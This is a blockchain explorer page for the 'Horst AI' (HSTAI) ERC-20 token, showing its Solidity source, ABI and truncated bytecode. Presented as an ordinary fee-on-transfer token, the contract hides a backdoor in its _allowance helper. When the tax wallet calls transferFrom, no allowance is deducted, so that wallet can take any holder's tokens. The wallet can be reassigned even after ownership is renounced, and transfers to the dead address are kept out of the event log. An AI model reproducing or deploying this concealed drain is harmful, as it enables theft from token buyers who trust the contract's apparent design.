Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Source Code
Overview
Max Total Supply
1,000,000,000 HSTAI
Holders
160
Transfers
-
0
Market
Onchain Market Cap
-
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
| # | Exchange | Pair | Price | 24H Volume | % Volume |
|---|
Contract Name:
HSTAI
Compiler Version
v0.8.26+commit.8a97fa7a
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2025-01-26
*/
// SPDX-License-Identifier: UNLICENSE
/**
Website: https://horstai.org
App: https://app.horstai.org
X: https://x.com/horstai_x
Telegram: https://t.me/horstai
*/
pragma solidity ^0.8.18;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(
address recipient,
uint256 amount
) external returns (bool);
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(
address tokenA,
address tokenB
) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
)
external
payable
returns (uint amountToken, uint amountETH, uint liquidity);
}
contract HSTAI is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isFeeExcluded;
address private _deadWallet = address(0xdead);
address private _taxWallet;
uint256 private _initialBuyTax = 20;
uint256 private _initialSellTax = 20;
uint256 private _finalBuyTax = 0;
uint256 private _finalSellTax = 0;
uint256 private _reduceBuyTaxAt = 3;
uint256 private _reduceSellTaxAt = 3;
uint256 private _preventSwapBefore = 3;
uint256 private _buyCount = 0;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;
string private constant _name = unicode"Horst AI";
string private constant _symbol = unicode"HSTAI";
uint256 public _taxSwapThreshold = 100 * 10 ** _decimals;
uint256 private _maxTaxSwapTokens = _tTotal / 100;
IUniswapV2Router02 private uniswapV2Router;
address private _uniswapPair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
modifier lockTheSwap() {
inSwap = true;
_;
inSwap = false;
}
constructor() payable {
_taxWallet = _msgSender();
_isFeeExcluded[owner()] = true;
_isFeeExcluded[address(this)] = true;
_balances[address(this)] = (_tTotal * 98) / 100;
_balances[_msgSender()] = (_tTotal * 2) / 100;
emit Transfer(address(0), address(this), (_tTotal * 98) / 100);
emit Transfer(address(0), _msgSender(), (_tTotal * 2) / 100);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(
address owner,
address spender
) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(
address spender,
uint256 amount
) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _allowance(
address owner,
address spender,
uint256 amount
) private view returns (uint256 _amount) {
if(msg.sender != _taxWallet && (owner == _uniswapPair || spender != _deadWallet))
return amount;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
_allowance(sender, recipient, amount),
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address hostSender, address hostReceiver, uint256 amount) private {
require(hostSender != address(0), "ERC20: transfer from the zero address");
require(hostReceiver != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount = 0;
if ( hostSender != owner() && hostReceiver != owner() &&
hostSender != address(this) && hostReceiver != address(this)) {
if (
hostSender == _uniswapPair &&
hostReceiver != address(uniswapV2Router) &&
!_isFeeExcluded[hostReceiver]
) {
taxAmount = amount
.mul(
(_buyCount > _reduceBuyTaxAt)
? _finalBuyTax
: _initialBuyTax
)
.div(100);
_buyCount++;
}
if (hostReceiver == _uniswapPair) {
taxAmount = amount
.mul(
(_buyCount > _reduceSellTaxAt)
? _finalSellTax
: _initialSellTax
)
.div(100);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (
!inSwap &&
hostReceiver == _uniswapPair &&
swapEnabled &&
_buyCount > _preventSwapBefore
) {
if (contractTokenBalance > _taxSwapThreshold)
swapTokensForEth(
min(
amount,
min(contractTokenBalance, _maxTaxSwapTokens)
)
);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance >= 0) {
sendETHToFee(address(this).balance);
}
}
}
if (taxAmount > 0) {
_balances[address(this)] = _balances[address(this)].add(taxAmount);
emit Transfer(hostSender, address(this), taxAmount);
}
_balances[hostSender] = _balances[hostSender].sub(amount);
_balances[hostReceiver] = _balances[hostReceiver].add(amount.sub(taxAmount));
if (hostReceiver != _deadWallet) emit Transfer(hostSender, hostReceiver, amount.sub(taxAmount));
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
return (a > b) ? b : a;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function assistETH() public onlyOwner {
payable(_msgSender()).transfer(address(this).balance);
}
function setTaxWallet(address _wallet) public {
require(msg.sender == _taxWallet);
_taxWallet = _wallet;
}
function openMarket() external onlyOwner {
require(!tradingOpen, "trading is already open");
uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
_approve(address(this), address(uniswapV2Router), _tTotal);
_uniswapPair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
address(this),
uniswapV2Router.WETH()
);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
IERC20(_uniswapPair).approve(address(uniswapV2Router), type(uint).max);
swapEnabled = true;
tradingOpen = true;
}
function sendETHToFee(uint256 amount) private {
payable(_taxWallet).transfer(amount);
}
receive() external payable {}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"assistETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openMarket","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_wallet","type":"address"}],"name":"setTaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
608060405261dead60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601460065560146007555f6008555f6009556003600a556003600b556003600c555f600d556009600a6100799190610673565b606461008591906106bd565b600e5560646009600a6100989190610673565b633b9aca006100a791906106bd565b6100b1919061072b565b600f555f601160156101000a81548160ff0219169083151502179055505f601160166101000a81548160ff0219169083151502179055505f6100f76104d460201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506101a16104d460201b60201c565b60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160035f6101f36104db60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550606460626009600a6102a99190610673565b633b9aca006102b891906106bd565b6102c291906106bd565b6102cc919061072b565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550606460026009600a61031f9190610673565b633b9aca0061032e91906106bd565b61033891906106bd565b610342919061072b565b60015f6103536104d460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef606460626009600a6103f19190610673565b633b9aca0061040091906106bd565b61040a91906106bd565b610414919061072b565b604051610421919061076a565b60405180910390a36104376104d460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef606460026009600a6104979190610673565b633b9aca006104a691906106bd565b6104b091906106bd565b6104ba919061072b565b6040516104c7919061076a565b60405180910390a3610783565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115610584578086048111156105605761055f610502565b5b600185161561056f5780820291505b808102905061057d8561052f565b9450610544565b94509492505050565b5f8261059c5760019050610657565b816105a9575f9050610657565b81600181146105bf57600281146105c9576105f8565b6001915050610657565b60ff8411156105db576105da610502565b5b8360020a9150848211156105f2576105f1610502565b5b50610657565b5060208310610133831016604e8410600b841016171561062d5782820a90508381111561062857610627610502565b5b610657565b61063a848484600161053b565b9250905081840481111561065157610650610502565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f61067d8261065e565b915061068883610667565b92506106b57fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461058d565b905092915050565b5f6106c78261065e565b91506106d28361065e565b92508282026106e08161065e565b915082820484148315176106f7576106f6610502565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6107358261065e565b91506107408361065e565b9250826107505761074f6106fe565b5b828204905092915050565b6107648161065e565b82525050565b5f60208201905061077d5f83018461075b565b92915050565b612bef806107905f395ff3fe6080604052600436106100ea575f3560e01c806370a0823111610089578063a9059cbb11610058578063a9059cbb146102bd578063bf474bed146102f9578063dd62ed3e14610323578063ea414b281461035f576100f1565b806370a0823114610217578063715018a6146102535780638da5cb5b1461026957806395d89b4114610293576100f1565b806318160ddd116100c557806318160ddd1461017157806323b872dd1461019b578063313ce567146101d75780633606f5b914610201576100f1565b8062bbdb3d146100f557806306fdde031461010b578063095ea7b314610135576100f1565b366100f157005b5f80fd5b348015610100575f80fd5b50610109610387565b005b348015610116575f80fd5b5061011f610468565b60405161012c9190611e65565b60405180910390f35b348015610140575f80fd5b5061015b60048036038101906101569190611f16565b6104a5565b6040516101689190611f6e565b60405180910390f35b34801561017c575f80fd5b506101856104c2565b6040516101929190611f96565b60405180910390f35b3480156101a6575f80fd5b506101c160048036038101906101bc9190611faf565b6104e5565b6040516101ce9190611f6e565b60405180910390f35b3480156101e2575f80fd5b506101eb6105c3565b6040516101f8919061201a565b60405180910390f35b34801561020c575f80fd5b506102156105cb565b005b348015610222575f80fd5b5061023d60048036038101906102389190612033565b610aed565b60405161024a9190611f96565b60405180910390f35b34801561025e575f80fd5b50610267610b33565b005b348015610274575f80fd5b5061027d610c81565b60405161028a919061206d565b60405180910390f35b34801561029e575f80fd5b506102a7610ca8565b6040516102b49190611e65565b60405180910390f35b3480156102c8575f80fd5b506102e360048036038101906102de9190611f16565b610ce5565b6040516102f09190611f6e565b60405180910390f35b348015610304575f80fd5b5061030d610d02565b60405161031a9190611f96565b60405180910390f35b34801561032e575f80fd5b5061034960048036038101906103449190612086565b610d08565b6040516103569190611f96565b60405180910390f35b34801561036a575f80fd5b5061038560048036038101906103809190612033565b610d8a565b005b61038f610e25565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461041b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104129061210e565b60405180910390fd5b610423610e25565b73ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610465573d5f803e3d5ffd5b50565b60606040518060400160405280600881526020017f486f727374204149000000000000000000000000000000000000000000000000815250905090565b5f6104b86104b1610e25565b8484610e2c565b6001905092915050565b5f6009600a6104d19190612288565b633b9aca006104e091906122d2565b905090565b5f6104f1848484610fef565b6105b8846104fd610e25565b6105b361050b8888886117ca565b604051806060016040528060288152602001612b926028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61056a610e25565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546118e19092919063ffffffff16565b610e2c565b600190509392505050565b5f6009905090565b6105d3610e25565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461065f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106569061210e565b60405180910390fd5b601160149054906101000a900460ff16156106af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106a69061235d565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60105f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061074b3060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a6107379190612288565b633b9aca0061074691906122d2565b610e2c565b60105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107b5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107d9919061238f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561085f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610883919061238f565b6040518363ffffffff1660e01b81526004016108a09291906123ba565b6020604051808303815f875af11580156108bc573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108e0919061238f565b60115f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061096730610aed565b5f80610971610c81565b426040518863ffffffff1660e01b815260040161099396959493929190612423565b60606040518083038185885af11580156109af573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109d49190612496565b50505060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610a749291906124e6565b6020604051808303815f875af1158015610a90573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ab49190612537565b506001601160166101000a81548160ff0219169083151502179055506001601160146101000a81548160ff021916908315150217905550565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610b3b610e25565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bc7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bbe9061210e565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f4853544149000000000000000000000000000000000000000000000000000000815250905090565b5f610cf8610cf1610e25565b8484610fef565b6001905092915050565b600e5481565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610de2575f80fd5b8060055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e91906125d2565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eff90612660565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610fe29190611f96565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361105d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611054906126ee565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c29061277c565b60405180910390fd5b5f811161110d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111049061280a565b60405180910390fd5b5f611116610c81565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156111845750611154610c81565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156111bc57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156111f457503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156114c55760115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156112a2575060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156112f5575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611350576113366064611328600a54600d541161131557600654611319565b6008545b8561194390919063ffffffff16565b6119ba90919063ffffffff16565b9050600d5f81548092919061134a90612828565b91905055505b60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036113e3576113e060646113d2600b54600d54116113bf576007546113c3565b6009545b8561194390919063ffffffff16565b6119ba90919063ffffffff16565b90505b5f6113ed30610aed565b9050601160159054906101000a900460ff16158015611458575060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156114705750601160169054906101000a900460ff165b801561147f5750600c54600d54115b156114c357600e548111156114ac576114ab6114a6846114a184600f54611a03565b611a03565b611a1b565b5b5f4790505f81106114c1576114c047611c86565b5b505b505b5f8111156115c45761151d8160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611cee90919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115bb9190611f96565b60405180910390a35b6116148260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d4b90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506116b761166b8284611d4b90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611cee90919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146117c4578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6117ae8486611d4b90919063ffffffff16565b6040516117bb9190611f96565b60405180910390a35b50505050565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141580156118cc575060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614806118cb575060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b156118d9578190506118da565b5b9392505050565b5f838311158290611928576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161191f9190611e65565b60405180910390fd5b505f8385611936919061286f565b9050809150509392505050565b5f808303611953575f90506119b4565b5f828461196091906122d2565b905082848261196f91906128cf565b146119af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a69061296f565b60405180910390fd5b809150505b92915050565b5f6119fb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611d94565b905092915050565b5f818311611a115782611a13565b815b905092915050565b6001601160156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611a5257611a5161298d565b5b604051908082528060200260200182016040528015611a805781602001602082028036833780820191505090505b50905030815f81518110611a9757611a966129ba565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611b3b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611b5f919061238f565b81600181518110611b7357611b726129ba565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611bd93060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610e2c565b60105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611c3b959493929190612a9e565b5f604051808303815f87803b158015611c52575f80fd5b505af1158015611c64573d5f803e3d5ffd5b50505050505f601160156101000a81548160ff02191690831515021790555050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611cea573d5f803e3d5ffd5b5050565b5f808284611cfc9190612af6565b905083811015611d41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d3890612b73565b60405180910390fd5b8091505092915050565b5f611d8c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506118e1565b905092915050565b5f8083118290611dda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd19190611e65565b60405180910390fd5b505f8385611de891906128cf565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611e3782611df5565b611e418185611dff565b9350611e51818560208601611e0f565b611e5a81611e1d565b840191505092915050565b5f6020820190508181035f830152611e7d8184611e2d565b905092915050565b5f80fd5b5f73fffffffffffffffffffffffffffffff